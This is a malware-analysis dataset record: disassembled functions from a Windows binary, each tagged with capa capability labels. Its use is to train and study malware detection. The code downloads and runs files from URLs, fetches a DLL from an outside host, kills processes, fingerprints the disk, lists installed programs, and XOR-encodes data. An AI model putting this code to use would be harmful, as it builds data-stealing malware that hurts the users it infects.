joyce8/EMBER2024-capa huggingface dataset:
Function at 0x13f233910
Capabilities:
Copy file
Create directory
Enumerate files on windows
Enumerate files recursively

Disassembly:
push rbp
push rbx
push rsi
push rdi
lea rbp, [rsp - 0x278]
sub rsp, 0x378
mov rax, qword [0x13f268490]
xor rax, rsp
mov qword [rbp + 0x260], rax
mov rbx, r8
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rcx
mov rdx, rcx
lea r8, [0x13f25dcac]
lea rcx, [rbp - 0x48]
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x38], rbx
call fcn.13f229294
lea rcx, [rbp - 0x48]
call fcn.13f224fa4
lea rdx, [rbp + 0x10]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x13f233b09
xor edi, edi
lea rdx, [rbp + 0x3c]
lea rcx, [rsp + 0x40]
call fcn.13f224f40
mov rdx, qword [rsp + 0x28]
lea r8, [0x13f25dbb4]
lea rcx, [rbp - 0x20]
call fcn.13f229294
lea r8, [rsp + 0x40]
lea rcx, [rbp - 0x70]
mov rdx, rax
call fcn.13f2349c8
lea rcx, [rbp - 0x20]
call fcn.13f224f98
mov rdx, qword [rsp + 0x30]
lea r8, [0x13f25dbcc]
lea rcx, [rbp - 0x20]
call fcn.13f229294
lea r8, [rsp + 0x40]
lea rcx, [rsp + 0x68]
mov rdx, rax
call fcn.13f2349c8
lea rcx, [rbp - 0x20]
call fcn.13f224f98
lea rdx, [0x13f25dbec]
lea rcx, [rsp + 0x40]
call fcn.13f2349fc
test al, al
je 0x13f233ace
lea rdx, [0x13f25dcb4]
lea rcx, [rsp + 0x40]
call fcn.13f2349fc
test al, al
je 0x13f233ace
test byte [rbp + 0x10], 0x10
je 0x13f233aa0
mov r8d, dword [rsp + 0x20]
lea rcx, [rsp + 0x40]
mov rdx, rbx
call fcn.13f2338b4
test al, al
jne 0x13f233ace
lea rcx, [rsp + 0x68]
call fcn.13f224fa4
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
je 0x13f233a76
mov r9d, dword [rsp + 0x20]
lea rdx, [rsp + 0x68]
lea rcx, [rbp - 0x70]
mov r8, rbx
call fcn.13f233910
test al, al
jne 0x13f233ace
lea rcx, [rsp + 0x68]
call fcn.13f224f98
lea rcx, [rbp - 0x70]
call fcn.13f224f98
lea rcx, [rsp + 0x40]
call fcn.13f224f98
lea rcx, [rbp - 0x48]
call fcn.13f224f98
xor al, al
jmp 0x13f233b18
lea rcx, [rsp + 0x68]
call fcn.13f224fa4
lea rcx, [rbp - 0x70]
mov rbx, rax
call fcn.13f224fa4
xor r8d, r8d
mov rcx, rax
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x13f233b33
mov rbx, qword [rsp + 0x38]
lea rcx, [rsp + 0x68]
call fcn.13f224f98
lea rcx, [rbp - 0x70]
call fcn.13f224f98
lea rcx, [rsp + 0x40]
call fcn.13f224f98
lea rdx, [rbp + 0x10]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x13f233984
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindClose]
mov dil, 1
lea rcx, [rbp - 0x48]
call fcn.13f224f98
mov al, dil
mov rcx, qword [rbp + 0x260]
xor rcx, rsp
call fcn.13f23c0b0
add rsp, 0x378
pop rdi
pop rsi
pop rbx
pop rbp
ret
lea rcx, [rsp + 0x68]
call fcn.13f224f98
lea rcx, [rbp - 0x70]
call fcn.13f224f98
lea rcx, [rsp + 0x40]
call fcn.13f224f98
jmp 0x13f233b0c
Function at 0x13f233b64
Capabilities:
Get common file path
Get disk information

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x80]
sub rsp, 0x180
mov rax, qword [0x13f268490]
xor rax, rsp
mov qword [rbp + 0x70], rax
xor eax, eax
mov rdi, rcx
xor ebx, ebx
lea rcx, [rsp + 0x60]
mov edx, 0x104
mov byte [rsp + 0x58], bl
mov dword [rsp + 0x59], eax
mov word [rsp + 0x5d], ax
mov byte [rsp + 0x5f], al
mov dword [rsp + 0x40], ebx
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
movzx ecx, byte [rsp + 0x60]
mov dword [rsp + 0x38], ebx
lea edx, [rbx + 0x43]
test eax, eax
cmove ecx, edx
mov qword [rsp + 0x30], rbx
lea r9, [rsp + 0x40]
mov byte [rsp + 0x60], cl
mov byte [rsp + 0x58], cl
lea rcx, [rsp + 0x58]
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x28], rbx
mov word [rsp + 0x59], 0x5c3a
mov byte [rsp + 0x5b], bl
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
lea rcx, [rsp + 0x40]
call fcn.13f233b54
lea rcx, [rsp + 0x40]
mov dword [rsp + 0x48], eax
call fcn.13f233b54
lea rcx, [rsp + 0x40]
call fcn.13f233b54
mov word [rsp + 0x4e], ax
lea rcx, [rsp + 0x40]
call fcn.13f233b54
inc rbx
mov byte [rsp + rbx + 0x4f], al
cmp rbx, 8
jl 0x13f233c24
mov eax, dword [rsp + 0x52]
movzx r9d, word [rsp + 0x4e]
mov r8d, dword [rsp + 0x48]
lea rdx, str._08lX_04lX_lu
mov rcx, rdi
mov dword [rsp + 0x20], eax
call qword [sym.imp.USER32.dll_wsprintfA]
mov rcx, qword [rbp + 0x70]
xor rcx, rsp
call fcn.13f23c0b0
lea r11, [rsp + 0x180]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret

Function at 0x13f233c80
Capabilities:
Get common file path

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
lea r9, [rsp + 0x38]
lea rcx, [0x13f259ef0]
xor r8d, r8d
xor edx, edx
call qword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
xor ecx, ecx
test eax, eax
js 0x13f233cbd
mov r8, qword [rsp + 0x38]
lea rdx, [0x13f25dcd8]
mov rcx, rbx
call qword [sym.imp.USER32.dll_wsprintfW]
jmp 0x13f233cc0
mov word [rbx], cx
add rsp, 0x20
pop rbx
ret

Function at 0x13f233cc8
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x240
mov rax, qword [0x13f268490]
xor rax, rsp
mov qword [rsp + 0x230], rax
mov rbx, rcx
lea rcx, [rsp + 0x20]
mov edx, 0x104
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
xor edi, edi
test eax, eax
je 0x13f233d1a
lea r8d, [rdi + 4]
lea rdx, [rsp + 0x20]
mov rcx, rbx
call fcn.13f23e384
mov dword [rbx + 4], 0x5c
jmp 0x13f233d1d
mov word [rbx], di
mov rcx, qword [rsp + 0x230]
xor rcx, rsp
call fcn.13f23c0b0
mov rbx, qword [rsp + 0x258]
add rsp, 0x240
pop rdi
ret
Function at 0x13f233d40
Capabilities:
Create process on windows
Download url
Get common file path
Receive data

Disassembly:
push rbx
sub rsp, 0x310
mov rax, qword [0x13f268490]
xor rax, rsp
mov qword [rsp + 0x300], rax
mov rbx, rcx
lea rdx, [rsp + 0x1f0]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
test eax, eax
je 0x13f233e4b
mov rcx, rbx
call qword [sym.imp.SHLWAPI.dll_PathIsURLA]
test eax, eax
je 0x13f233e4b
mov rcx, rbx
call qword [sym.imp.SHLWAPI.dll_PathFindFileNameA]
lea rdx, [rsp + 0x1f0]
lea rcx, [rsp + 0xe0]
mov r8, rax
call qword [sym.imp.SHLWAPI.dll_PathCombineA]
test rax, rax
je 0x13f233e4b
and qword [rsp + 0x20], 0
lea r8, [rsp + 0xe0]
xor r9d, r9d
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
jne 0x13f233e4b
lea r8d, [rax + 0x60]
lea rcx, [rsp + 0x78]
xor edx, edx
mov dword [rsp + 0x70], 0x68
call fcn.13f23f100
lea r11, [rsp + 0x50]
mov qword [rsp + 0x48], r11
lea rax, [rsp + 0x70]
lea rdx, [rsp + 0xe0]
mov qword [rsp + 0x40], rax
and qword [rsp + 0x38], 0
and qword [rsp + 0x30], 0
and dword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x13f233e4b
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
jmp 0x13f233e4d
xor al, al
mov rcx, qword [rsp + 0x300]
xor rcx, rsp
call fcn.13f23c0b0
add rsp, 0x310
pop rbx
ret

Function at 0x13f233e68
Capabilities:
Enumerate processes
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x270
mov rax, qword [0x13f268490]
xor rax, rsp
mov qword [rsp + 0x260], rax
xor edx, edx
mov rsi, rcx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x13f233f2b
lea rdx, [rsp + 0x20]
mov rcx, rax
mov dword [rsp + 0x20], 0x238
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
jmp 0x13f233f1e
lea rax, [rsp + 0x4c]
mov rdx, rsi
sub rdx, rax
movzx ecx, word [rax]
movzx r8d, word [rax + rdx]
sub ecx, r8d
jne 0x13f233ee0
add rax, 2
test r8d, r8d
jne 0x13f233eca
test ecx, ecx
jne 0x13f233f10
mov r8d, dword [rsp + 0x28]
xor edx, edx
lea ecx, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
je 0x13f233f10
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rsp + 0x20]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x13f233ebf
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.13f23c0b0
lea r11, [rsp + 0x270]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
Function at 0x13f233f50
Capabilities:
Enumerate processes

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
lea rbp, [rax - 0x1d8]
sub rsp, 0x2d0
mov rax, qword [0x13f268490]
xor rax, rsp
mov qword [rbp + 0x1c0], rax
xor edx, edx
mov rsi, rcx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x13f233fb6
lea rdx, str.Failed_to_retrieve_the_list_of_running_processes.
lea rcx, [0x13f2695a0]
call fcn.13f2295b0
mov rcx, rax
call fcn.13f22b8d0
jmp 0x13f234090
lea rdx, [rsp + 0x30]
mov rcx, rax
mov dword [rsp + 0x30], 0x238
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
jmp 0x13f23407f
lea rdx, [rsp + 0x5c]
lea rcx, [rbp + 0x170]
call fcn.13f224f40
lea rdx, [rsp + 0x28]
lea rcx, [rbp + 0x170]
call fcn.13f22a710
lea rdx, [rsp + 0x20]
lea rcx, [rbp + 0x170]
mov rbx, rax
call fcn.13f22a6ec
mov r8, qword [rbx]
mov rdx, qword [rax]
lea rcx, [rbp + 0x198]
call fcn.13f22a82c
lea rdx, str.Process_ID:
mov rcx, rsi
mov rbx, rax
call fcn.13f2295b0
mov edx, dword [rsp + 0x38]
mov rcx, rax
call fcn.13f22b8d8
lea rdx, str.__Name:
mov rcx, rax
call fcn.13f2295b0
mov rdx, rbx
mov rcx, rax
call fcn.13f2297b0
mov rcx, rax
call fcn.13f22b8d0
lea rcx, [rbp + 0x198]
call fcn.13f224e88
lea rcx, [rbp + 0x170]
call fcn.13f224f98
lea rdx, [rsp + 0x30]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x13f233fd1
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x1c0]
xor rcx, rsp
call fcn.13f23c0b0
lea r11, [rsp + 0x2d0]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x13f234130
Capabilities:
Get installed programs
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x4e0]
sub rsp, 0x5e0
mov rax, qword [0x13f268490]
xor rax, rsp
mov qword [rbp + 0x4d0], rax
lea rax, [rsp + 0x48]
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionUninstall
mov r9d, 0x20019
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x13f23433a
lea r8d, [rax + 2]
lea rdx, str.Installed_Apps.txt
lea rcx, [rsp + 0x70]
mov dword [rsp + 0x40], 0xff
call fcn.13f231060
lea rcx, [rsp + 0x70]
call fcn.13f2349bc
test al, al
je 0x13f234325
xor edi, edi
and qword [rsp + 0x38], rdi
and qword [rsp + 0x30], rdi
and qword [rsp + 0x28], rdi
and qword [rsp + 0x20], rdi
xor edx, edx
jmp 0x13f2342f9
mov rcx, qword [rsp + 0x48]
lea rax, [rsp + 0x58]
lea rdx, [rbp + 0xd0]
mov r9d, 0x20019
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x13f2342d5
mov rcx, qword [rsp + 0x58]
lea rax, [rsp + 0x50]
lea rdx, str.DisplayName
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x2d0]
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x50], 0xff
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x13f2342ca
lea rdx, [rbp + 0x2d0]
lea rcx, [rbp + 0x80]
call fcn.13f224f40
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x80]
call fcn.13f22a710
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x80]
mov rbx, rax
call fcn.13f22a6ec
mov r8, qword [rbx]
mov rdx, qword [rax]
lea rcx, [rbp + 0xa8]
call fcn.13f22a82c
lea rdx, [0x13f25ddf0]
lea rcx, [rsp + 0x70]
mov rbx, rax
call fcn.13f2295b0
mov rdx, rbx
mov rcx, rax
call fcn.13f2297b0
mov rcx, rax
call fcn.13f22b8d0
lea rcx, [rbp + 0xa8]
call fcn.13f224e88
lea rcx, [rbp + 0x80]
call fcn.13f224f98
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
and qword [rsp + 0x38], 0
and qword [rsp + 0x30], 0
and qword [rsp + 0x28], 0
inc edi
and qword [rsp + 0x20], 0
mov dword [rsp + 0x40], 0xff
mov edx, edi
mov rcx, qword [rsp + 0x48]
lea r9, [rsp + 0x40]
lea r8, [rbp + 0xd0]
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
cmp eax, 0x103
jne 0x13f2341d6
lea rcx, [rsp + 0x70]
call fcn.13f226208
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rcx, [rsp + 0x70]
call fcn.13f22417c
mov rcx, qword [rbp + 0x4d0]
xor rcx, rsp
call fcn.13f23c0b0
lea r11, [rsp + 0x5e0]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret
Function at 0x13f234360
Capabilities:
Copy file
Enumerate files on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
lea rbp, [rsp - 0x250]
sub rsp, 0x350
mov rax, qword [0x13f268490]
xor rax, rsp
mov qword [rbp + 0x240], rax
mov r13, rdx
mov rsi, r8
mov r12, rcx
mov rdx, rcx
lea r8, str..
lea rcx, [rbp - 0x40]
call fcn.13f229294
lea rcx, [rbp - 0x40]
call fcn.13f224fa4
lea rdx, [rbp - 0x10]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x13f2344c9
test byte [rbp - 0x10], 0x10
jne 0x13f2344ab
lea rdx, [rbp + 0x1c]
lea rcx, [rsp + 0x20]
call fcn.13f224f40
xor ebx, ebx
movsxd rax, ebx
lea rcx, [rax + rax*4]
lea rdx, [rsi + rcx*8]
lea rcx, [rsp + 0x20]
call fcn.13f234a10
test al, al
jne 0x13f23440a
inc ebx
cmp ebx, 4
jl 0x13f2343e5
jmp 0x13f2344a1
lea r8, [0x13f25dc0c]
lea rcx, [rsp + 0x48]
mov rdx, r12
call fcn.13f229294
lea r8, [rsp + 0x20]
lea rcx, [rsp + 0x70]
mov rdx, rax
call fcn.13f2349c8
lea rcx, [rsp + 0x48]
call fcn.13f224f98
lea r8, [0x13f25dc1c]
lea rcx, [rsp + 0x48]
mov rdx, r13
call fcn.13f229294
lea r8, [rsp + 0x20]
lea rcx, [rbp - 0x68]
mov rdx, rax
call fcn.13f2349c8
lea rcx, [rsp + 0x48]
call fcn.13f224f98
lea rcx, [rbp - 0x68]
call fcn.13f224fa4
lea rcx, [rsp + 0x70]
mov rbx, rax
call fcn.13f224fa4
xor r8d, r8d
mov rcx, rax
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_CopyFileW]
lea rcx, [rbp - 0x68]
call fcn.13f224f98
lea rcx, [rsp + 0x70]
call fcn.13f224f98
lea rcx, [rsp + 0x20]
call fcn.13f224f98
lea rdx, [rbp - 0x10]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x13f2343cb
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindClose]
lea rcx, [rbp - 0x40]
call fcn.13f224f98
mov rcx, qword [rbp + 0x240]
xor rcx, rsp
call fcn.13f23c0b0
mov rbx, qword [rsp + 0x398]
add rsp, 0x350
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x13f234868
Capabilities:
Check if file exists
Get file attributes

Disassembly:
sub rsp, 0x28
call fcn.13f224fa4
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x13f234883
xor al, al
jmp 0x13f234889
shr eax, 4
and eax, 1
add rsp, 0x28
ret

Function at 0x13f234890
Capabilities:
Download url
Receive data

Disassembly:
push rbx
sub rsp, 0x30
mov rbx, rcx
mov r8, rcx
jmp 0x13f2348ac
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r8, rbx
and qword [rsp + 0x20], 0
lea rdx, str.http:__4382.bimmobil.xyz_tools_sqlite.dll
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
js 0x13f23489e
mov al, 1
add rsp, 0x30
pop rbx
ret

Function at 0x13f234b2c
Capabilities:
Read file on windows

Disassembly:
push rbx
push rsi
push rdi
mov eax, 0x3cd0
call fcn.13f23f200
sub rsp, rax
mov rax, qword [0x13f268490]
xor rax, rsp
mov qword [rsp + 0x3cc0], rax
mov rsi, rcx
mov rcx, r8
mov rbx, rdx
call fcn.13f224fac
lea rdx, [rsp + 0x50]
mov rcx, rbx
mov r8, rax
call fcn.13f234e0c
mov rcx, rbx
call fcn.13f224eec
lea rdx, [0x13f25daa0]
mov rcx, rax
call fcn.13f23eb8c
mov rbx, rax
test rax, rax
je 0x13f234c63
xor edx, edx
lea rcx, [rsp + 0x78]
lea r8d, [rdx + 0x24]
call fcn.13f23f100
lea rcx, [rsp + 0x50]
call fcn.13f224eec
or dword [rsp + 0x48], 0xffffffff
mov dword [rsp + 0x40], 8
and qword [rsp + 0x38], 0
and dword [rsp + 0x30], 0
and qword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
lea r8, [rsp + 0x78]
mov rdx, rax
xor r9d, r9d
mov rcx, rsi
call fcn.13f2373f0
test eax, eax
jne 0x13f234c5b
lea rcx, [rsp + 0xa0]
mov r9, rbx
mov edx, 1
mov r8d, 0x3c18
call fcn.13f23ee78
mov rdi, rax
cmp rax, 0x3c18
jae 0x13f234c22
mov rcx, rbx
call fcn.13f23ea64
test eax, eax
jne 0x13f234c40
mov rcx, rbx
call fcn.13f23ea8c
test eax, eax
jne 0x13f234c53
lea rdx, [rsp + 0xa0]
mov r8d, edi
mov rcx, rsi
call fcn.13f2362f0
test eax, eax
js 0x13f234c53
test rdi, rdi
je 0x13f234c53
jmp 0x13f234be4
lea rdx, [rsp + 0xa0]
mov r8d, edi
mov rcx, rsi
call fcn.13f2362f0
mov rcx, rsi
call fcn.13f236c10
mov rcx, rbx
call fcn.13f23e074
lea rcx, [rsp + 0x50]
call fcn.13f224e88
mov rcx, qword [rsp + 0x3cc0]
xor rcx, rsp
call fcn.13f23c0b0
add rsp, 0x3cd0
pop rdi
pop rsi
pop rbx
ret
Function at 0x13f234c88
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push rbp
push rbx
push rsi
push rdi
lea rbp, [rsp - 0x118]
sub rsp, 0x218
mov rax, qword [0x13f268490]
xor rax, rsp
mov qword [rbp + 0x100], rax
mov qword [rsp + 0x28], r8
mov qword [rsp + 0x30], rcx
lea r8, [0x13f25daa4]
lea rcx, [rsp + 0x68]
mov byte [rsp + 0x20], r9b
mov qword [rsp + 0x38], rdx
call fcn.13f22a74c
lea rcx, [rsp + 0x68]
call fcn.13f224eec
lea rdx, [rbp - 0x40]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x13f234d9b
lea rsi, [rbp - 0x14]
lea rdi, [0x13f25daac]
mov ecx, 2
repe cmpsb byte [rsi], byte [rdi]
je 0x13f234d7d
lea rsi, [rbp - 0x14]
lea rdi, [0x13f25dab0]
mov ecx, 3
repe cmpsb byte [rsi], byte [rdi]
je 0x13f234d7d
mov rdx, qword [rsp + 0x38]
lea r8, [0x13f25dab4]
lea rcx, [rbp - 0x70]
call fcn.13f22a74c
lea r8, [rbp - 0x14]
lea rcx, [rsp + 0x40]
mov rdx, rax
call fcn.13f22e5d4
lea rcx, [rbp - 0x70]
call fcn.13f224e88
test byte [rbp - 0x40], 0x10
mov r8, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x30]
lea rdx, [rsp + 0x40]
je 0x13f234d6e
mov r9b, byte [rsp + 0x20]
call fcn.13f234c88
jmp 0x13f234d73
call fcn.13f234b2c
lea rcx, [rsp + 0x40]
call fcn.13f224e88
lea rdx, [rbp - 0x40]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x13f234cf6
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindClose]
lea rcx, [rsp + 0x68]
call fcn.13f224e88
mov rcx, qword [rbp + 0x100]
xor rcx, rsp
call fcn.13f23c0b0
add rsp, 0x218
pop rdi
pop rsi
pop rbx
pop rbp
ret

Function at 0x13f234ea0
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
mov qword [rsp + 8], rbx
mov r10d, dword [rcx]
mov ebx, r8d
mov r8, rcx
mov eax, ebx
mov r9d, r10d
mov r11, rdx
xor r9, rax
shr r10d, 8
movzx eax, r9b
mov r9d, dword [rdx + rax*4]
mov edx, dword [rcx + 8]
xor r9d, r10d
mov dword [rcx], r9d
movzx eax, r9b
add eax, dword [rcx + 4]
imul eax, eax, 0x8088405
inc eax
mov dword [rcx + 4], eax
mov ecx, eax
shr ecx, 0x18
xor rcx, rdx
shr edx, 8
movzx eax, cl
mov eax, dword [r11 + rax*4]
xor eax, edx
mov dword [r8 + 8], eax
mov eax, ebx
mov rbx, qword [rsp + 8]
ret
Function at 0x13f234f70
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rdx
push rbp
push r15
sub rsp, 0x48
mov rbp, r9
mov r15, rcx
cmp r8d, 0xc
jge 0x13f234f92
xor eax, eax
add rsp, 0x48
pop r15
pop rbp
ret
mov eax, dword [0x13f26a220]
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x70], rsi
mov qword [rsp + 0x78], rdi
inc eax
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r14
mov dword [0x13f26a220], eax
cmp eax, 1
jne 0x13f234fd6
xor ecx, ecx
call fcn.13f23f048
xor eax, 0xbb40e64e
mov ecx, eax
call fcn.13f23f0a8
mov r12, qword [rsp + 0x80]
mov rdx, rbp
mov rcx, r15
mov r8, r12
call fcn.13f234f00
mov r13d, 0xa
lea rsi, [rsp + 0x20]
mov r14d, r13d
nop word [rax + rax]
call fcn.13f23f0c0
mov rcx, rbp
sar eax, 7
movzx edi, al
call fcn.13f234e80
mov r8d, edi
mov rdx, r12
mov ebx, eax
call fcn.13f234ea0
xor dil, bl
inc rsi
dec r14
mov byte [rsi - 1], dil
jne 0x13f235000
mov r8, r12
mov rdx, rbp
mov rcx, r15
call fcn.13f234f00
mov r15, qword [rsp + 0x68]
lea rax, [rsp + 0x20]
mov r14, r15
lea rsi, [rsp + 0x20]
sub r14, rax
mov rcx, rbp
call fcn.13f234e80
movzx edi, byte [rsi]
mov rdx, r12
mov r8d, edi
mov ebx, eax
call fcn.13f234ea0
xor dil, bl
inc rsi
dec r13
mov byte [r14 + rsi - 1], dil
jne 0x13f235052
mov rcx, rbp
call fcn.13f234e80
mov esi, dword [rsp + 0x88]
mov rdx, r12
mov ebx, esi
mov edi, eax
shr ebx, 0x10
movzx r8d, bl
call fcn.13f234ea0
xor bl, dil
mov rcx, rbp
mov byte [r15 + 0xa], bl
call fcn.13f234e80
shr esi, 0x18
mov r8d, esi
mov rdx, r12
mov ebx, eax
call fcn.13f234ea0
mov r14, qword [rsp + 0x30]
mov r12, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x78]
xor sil, bl
mov rbx, qword [rsp + 0x60]
mov byte [r15 + 0xb], sil
mov rsi, qword [rsp + 0x70]
lea eax, [r13 + 0xc]
mov r13, qword [rsp + 0x38]
add rsp, 0x48
pop r15
pop rbp
ret

Function at 0x13f236200
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x20], rbx
push rsi
sub rsp, 0x20
cmp dword [rcx + 0x10108], 0
mov rsi, rcx
je 0x13f236283
mov qword [rsp + 0x30], rbp
xor ebp, ebp
cmp dword [rcx + 0xd4], ebp
jbe 0x13f23627e
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x40], r12
lea rdi, [rcx + 0x100]
nop word [rax + rax]
lea rcx, [rsi + 0x10128]
call fcn.13f234e80
movzx r8d, byte [rdi]
mov rdx, qword [rsi + 0x10138]
lea rcx, [rsi + 0x10128]
mov ebx, eax
call fcn.13f234ea0
xor byte [rdi], bl
inc ebp
inc rdi
cmp ebp, dword [rsi + 0xd4]
jb 0x13f236240
mov r12, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x30]
mov r9d, dword [rsi + 0xd4]
mov rdx, qword [rsi + 0x58]
mov rcx, qword [rsi + 0x38]
mov ebx, dword [rsi + 0xd4]
lea r8, [rsi + 0x100]
call qword [rsi + 0x10]
or ecx, 0xffffffff
xor edx, edx
cmp eax, ebx
mov dword [rsi + 0xd4], 0
cmovne edx, ecx
mov ecx, dword [rsi + 0x84]
add qword [rsi + 0x10118], rbx
mov rbx, qword [rsp + 0x48]
add qword [rsi + 0x10120], rcx
mov dword [rsi + 0x84], 0
mov eax, edx
add rsp, 0x20
pop rsi
ret
Function at 0x13f23f92b
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x13f268490]
jne 0x13f23c0ca
rol rcx, 0x10
test cx, 0xffff
jne 0x13f23c0c6
repz ret
ror rcx, 0x10
jmp 0x13f23f884
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x13f26a310]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x13f26a408]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x13f23f909
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x13f26a310]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x13f23f92b
mov rax, qword [rsp + 0x88]
